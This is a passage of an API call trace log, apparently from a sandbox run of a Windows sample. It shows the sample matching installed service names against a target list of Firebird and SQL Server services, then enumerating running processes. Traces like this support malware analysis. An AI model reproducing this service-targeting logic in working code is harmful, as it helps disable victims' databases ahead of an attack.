	[0200.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0200.390] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0200.390] lstrlenW (lpString="EventLog") returned 8
	[0200.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0200.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0200.390] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0200.390] lstrlenW (lpString="EventSystem") returned 11
	[0200.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0200.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0200.390] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0200.390] lstrlenW (lpString="FontCache") returned 9
	[0200.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0200.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0200.390] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0200.390] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0200.390] lstrlenW (lpString="gpsvc") returned 5
	[0200.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0200.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0200.390] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0200.390] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0200.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0200.391] lstrlenW (lpString="iphlpsvc") returned 8
	[0200.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0200.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0200.391] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0200.391] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0200.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0200.391] lstrlenW (lpString="KeyIso") returned 6
	[0200.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0200.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0200.391] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0200.391] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0200.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0200.391] lstrlenW (lpString="LanmanServer") returned 12
	[0200.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0200.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0200.391] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0200.391] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0200.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0200.391] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0200.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0200.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0200.391] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0200.391] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0200.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0200.391] lstrlenW (lpString="lfsvc") returned 5
	[0200.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0200.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0200.391] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0200.391] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0200.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0200.391] lstrlenW (lpString="lmhosts") returned 7
	[0200.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0200.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0200.392] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0200.392] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0200.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0200.392] lstrlenW (lpString="LSM") returned 3
	[0200.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0200.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0200.392] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0200.392] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0200.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0200.392] lstrlenW (lpString="MpsSvc") returned 6
	[0200.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0200.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0200.392] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0200.392] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0200.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0200.392] lstrlenW (lpString="NcbService") returned 10
	[0200.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0200.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0200.392] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0200.392] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0200.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0200.392] lstrlenW (lpString="netprofm") returned 8
	[0200.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0200.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0200.392] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0200.392] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0200.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0200.392] lstrlenW (lpString="NgcSvc") returned 6
	[0200.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0200.393] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0200.393] lstrlenW (lpString="NlaSvc") returned 6
	[0200.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0200.393] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0200.393] lstrlenW (lpString="nsi") returned 3
	[0200.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0200.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0200.393] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0200.393] lstrlenW (lpString="PcaSvc") returned 6
	[0200.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0200.393] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0200.393] lstrlenW (lpString="PlugPlay") returned 8
	[0200.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0200.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0200.393] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0200.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0200.393] lstrlenW (lpString="Power") returned 5
	[0200.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0200.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0200.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0200.394] lstrlenW (lpString="ProfSvc") returned 7
	[0200.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0200.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0200.394] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0200.394] lstrlenW (lpString="RpcEptMapper") returned 12
	[0200.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0200.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0200.394] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0200.394] lstrlenW (lpString="RpcSs") returned 5
	[0200.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0200.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0200.394] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0200.394] lstrlenW (lpString="SamSs") returned 5
	[0200.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0200.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0200.394] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0200.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0200.394] lstrlenW (lpString="Schedule") returned 8
	[0200.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0200.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0200.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0200.395] lstrlenW (lpString="SecurityHealthService") returned 21
	[0200.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0200.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0200.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0200.395] lstrlenW (lpString="SENS") returned 4
	[0200.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0200.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0200.395] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0200.395] lstrlenW (lpString="ShellHWDetection") returned 16
	[0200.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0200.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0200.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0200.395] lstrlenW (lpString="Spooler") returned 7
	[0200.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0200.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0200.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0200.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0200.395] lstrlenW (lpString="StateRepository") returned 15
	[0200.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0200.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0200.396] lstrlenW (lpString="SysMain") returned 7
	[0200.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0200.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0200.396] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0200.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0200.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0200.396] lstrlenW (lpString="Themes") returned 6
	[0200.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0200.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0200.396] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0200.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0200.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0200.396] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0200.396] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0200.397] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4fc
	[0200.423] Process32FirstW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0200.423] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0200.424] lstrlenW (lpString="System") returned 6
	[0200.424] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0200.424] lstrlenW (lpString="smss.exe") returned 8
	[0200.425] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0200.425] lstrlenW (lpString="csrss.exe") returned 9
	[0200.425] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0200.426] lstrlenW (lpString="wininit.exe") returned 11
	[0200.426] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0200.426] lstrlenW (lpString="csrss.exe") returned 9
	[0200.426] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0200.427] lstrlenW (lpString="winlogon.exe") returned 12
	[0200.427] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0200.427] lstrlenW (lpString="services.exe") returned 12
	[0200.427] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0200.428] lstrlenW (lpString="lsass.exe") returned 9
	[0200.428] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0200.428] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0200.428] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0200.429] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0200.429] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.429] lstrlenW (lpString="svchost.exe") returned 11
	[0200.429] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.430] lstrlenW (lpString="svchost.exe") returned 11
	[0200.430] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0200.431] lstrlenW (lpString="dwm.exe") returned 7
	[0200.431] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.431] lstrlenW (lpString="svchost.exe") returned 11
	[0200.431] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.432] lstrlenW (lpString="svchost.exe") returned 11
	[0200.432] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.432] lstrlenW (lpString="svchost.exe") returned 11
	[0200.432] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.433] lstrlenW (lpString="svchost.exe") returned 11
	[0200.433] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.433] lstrlenW (lpString="svchost.exe") returned 11
	[0200.433] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.434] lstrlenW (lpString="svchost.exe") returned 11
	[0200.434] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.434] lstrlenW (lpString="svchost.exe") returned 11
	[0200.434] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.435] lstrlenW (lpString="svchost.exe") returned 11
	[0200.435] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.435] lstrlenW (lpString="svchost.exe") returned 11
	[0200.435] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.436] lstrlenW (lpString="svchost.exe") returned 11
	[0200.436] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0200.436] lstrlenW (lpString="spoolsv.exe") returned 11
	[0200.436] Process32NextW (in: hSnapshot=0x4fc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0200.437] lstrlenW (lpString="svchost.exe") returned 11
